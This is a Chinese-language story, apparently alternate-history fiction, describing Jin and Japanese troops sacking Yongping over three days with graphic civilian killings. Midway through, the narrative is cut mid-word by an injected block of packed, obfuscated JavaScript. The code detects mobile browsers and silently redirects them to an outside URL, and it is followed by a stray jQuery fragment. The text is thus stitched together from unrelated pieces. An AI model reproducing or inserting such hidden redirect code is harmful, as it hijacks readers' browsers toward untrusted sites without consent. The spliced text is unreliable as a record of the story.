永平·三昼
山海关陷落的消息传到永平府时，城内的百姓正在准备过冬的柴火。北方的风已经开始变冷了，街边的榆树叶被吹落在地上，干枯的叶片在石板路上翻卷着，发出细碎的声响。永平府是北京东面的门户，城池不大，城墙是砖石混筑的，比山海关低矮许多，城门也只有东西南北四座。城中住着二十多万百姓，大多是商户、农户和手艺人，平日靠往来关内外的商旅过活。
第一批逃难的人是在午后抵达的。他们从东门涌进来，衣衫褴褛，有人赤着脚，有人抱着孩子，有人背着包袱，里面装着仅剩的粮食和衣物。一个老人坐在城门口的地上喘气，他的脚上裹着一双磨穿了底的布鞋，脚趾露在外面，沾满了灰尘和干涸的血迹。守城的士兵问他山海关怎么样了，他没有回答，只是摇了摇头。到了傍晚，逃难的人越来越多，城门不得不暂时关闭，只留下一条窄缝供人进出。
当天晚上，北方的天际线上浮现出一片暗红色的光晕。那不是晚霞，也不是火光，而是一种介于两者之间的、正在缓慢移动的底色，像是大地本身在燃烧。没有人知道那片光意味着什么，但逃难来的人说那是金军的营火，比他们见过的任何营火都要多。第二天清晨，永平府四面的城门都被堵住了。最先出现在北门外的是金军的先锋骑兵，他们穿着深色的甲胄，骑在矮壮的蒙古马上，没有列阵，只是散开，沿着城墙外围缓缓地走了一圈，像是在确认这座城池的大小和方位。随后，东门外出现了日军的步兵阵列，列成数排，火枪斜靠在肩上，没有进攻。西门外也出现了金军，南门外则空着，但城墙上的守军可以看到更远处正在升起的烟尘，表明那座缺口并不存在。
城内的百姓聚集在街道上，有人挤在城墙根下，透过墙缝往外看，有人抱着包袱站在自家门口，不敢进屋，也不敢出门。城中的驻军只有不到三千人，都是些老弱残兵，守城还勉强凑合，出城迎战则显然力不从心。知府召集了城中的士绅商议对策，但会议只持续了不到半个时辰就散了。没有人能提出什么有效的办法，因为城墙外面的人太多了，多到数不清，而城内的粮食只够吃半个月。
天亮之后，北门被撞开了。撞木是金军士兵从附近的村庄里拆来的房梁，几根粗大的木料被绑在一起，由数十人抬着撞击城门，每撞一下，城门的木栓就发出沉闷的声响，如同困兽在抵抗着某种不可抗拒的命运。城门最终向内倒塌时，碎木和铁钉四溅开来，守城的士兵还未来得及放箭，金军已经开始涌入，他们的脚步踏过碎裂的门板和散落的尘土，沿着街道向前推进。他们所经之处没有激烈的搏斗——守城的士兵很快就被冲散了，有人沿着巷子向城内撤退，有人扔下武器混入民居，有人被金军的长矛刺中，倒在了路边的水沟里。没有整齐的阵型，也没有特定的目标。
进入城内的金军士兵开始逐户搜查。士兵用刀尖挑开每一扇门，进入院子，穿过堂屋，翻找每一个可能藏人的角落。有人在灶台下找到了一对母子——母亲将孩子搂在怀里，蜷在灶膛的阴影中。士兵用刀尖拨开她护着孩子的胳膊，让那孩子暴露在光线里。她试图去抓住士兵的衣摆，但被推开了。随后，巷子里传来一声短促的抽气声，紧接着便是一阵断续的啜泣，然后又归于沉寂。
另一个街口，日军士兵也在做同样的事情。他们的方法不同——他们放火，用长矛挑开屋内的床板和柜门。很快，火焰从几座房屋的屋顶升起，木结构在火焰中不断发出噼啪的声响，烟雾开始弥漫街道。那些逃到屋外的百姓看到自家的房屋在燃烧，有人在街道上停下了脚步，望着正在燃烧的屋顶。随后更多的人被从燃烧的房屋中驱赶出来，被推搡到街道中央。
第二天，杀戮的范围扩大了。金军的骑兵开始在街道上来回奔驰，驱赶着那些试图躲进小巷的人群。一个年轻的母亲抱着孩子跑过石桥，她的脚踩在湿滑的石板上，身形不稳地晃了一下。金军骑兵从她身后追了上来，弯刀从她的肩侧挥过，她怀中的孩子开始哭喊，从她手中滑落。她跪在地上想要抓住那个孩子的衣角，但另一名骑兵从侧面赶来，将她从地上拖起，推向桥边，随后她翻过桥栏，落入了河水中。孩子在岸边哭着，几名路过的士兵看了看他，没有停下来。
有一个老人守在自己的店铺前。他的铺子卖的是杂货，货架上还摆着几排陶罐和成捆的干菜。几名金军士兵踹开了他的店铺门，将货架推倒，将货物踩碎。他试图去阻拦，被一名士兵用刀背击中了后脑，倒在了门槛上。那些士兵翻遍了店铺后离去，留下了碎片和那个倒在门槛上的身影。在他旁边的巷子里，一名日军士兵正在往墙角的水缸里张望，水缸中蜷着一个孩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728984|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子，他伸手抓住了孩子的衣领，将这个孩子从水缸中提了出来，孩子在水缸中泡了太久，嘴唇是青紫色的，已经停止了呼吸。
第三天，城中的抵抗已经几乎停止了，但杀戮仍在继续。金军开始大面积放火，从城东开始点燃那些尚未被破坏的房屋。一群士兵举着火把在街道上穿行，一边走一边将火把投向那些木质的屋檐和篱笆。火势蔓延的速度比他们想象中更快，整条街被卷入火海。一名年轻男子站在巷口，他刚刚把家人推进了身后的一条窄巷，自己挡在巷口。几名金军士兵上前抓住了他。他试图挣脱，但当他们松开手时，他已经无法站立了。他的家人从巷口探出头来，只看到他的背影正在巷口一点点向下垂落，随后被翻倒的墙挡住了。
往南去的一条街，日军也在逐屋清理。一名日军士兵站在一座已经搜过的房屋前，里面躺着一个趴在门槛上的老年男子，身上没有明显的伤口，但已经不再动弹了。他旁边的地上躺着一个年轻女子，脸朝向地面，手指还攥着一块从衣袖上撕下来的布条。在这条街的拐角处，士兵们正在往一辆推车上堆东西，堆得差不多了，就沿着街道向下一个区域推去。
第三日的黄昏，城中的哭声在逐渐减少。金军士兵在清理一条街道时，遇到了一座尚未被翻找过的祠堂。祠堂的门虚掩着，门缝中露出一条浅淡的光线。几名士兵推门进去，祠堂里跪着十几个人，围成一圈，手中握着几根点燃的香，火光在昏暗中微微晃动，照亮了墙壁上泛黄的牌位。士兵们站在门口看了一会儿，有人转身离开，有人留了下来。
天色完全暗下来时，城内的火势还在继续，但已经没有了哭喊声，也没有了枪声。那些还在城中行走的身影，脚步已经变得缓慢、疲惫、甚至带着一丝茫然。火光照亮了部分街道，照亮了墙壁上被烟熏黑的部分，以及地面上那些尚未被清理的痕迹。永平府东门外的那条路，从第三天下午开始，已经很少有人走了。幸存者零零星星地沿着土路向东走，他们的步伐缓慢，没有人回头。
此后数年，经过永平府的行人偶尔还能在路边看到一些嵌入泥土的碎片，以及在风中轻微摆动的东西，但没有人停下来仔细查看。人潮来来往往，穿过早已荒废的城门，只留下被风卷起的碎布和路旁荒草间隐约可见的物件残片，随着季节更替被渐渐掩埋。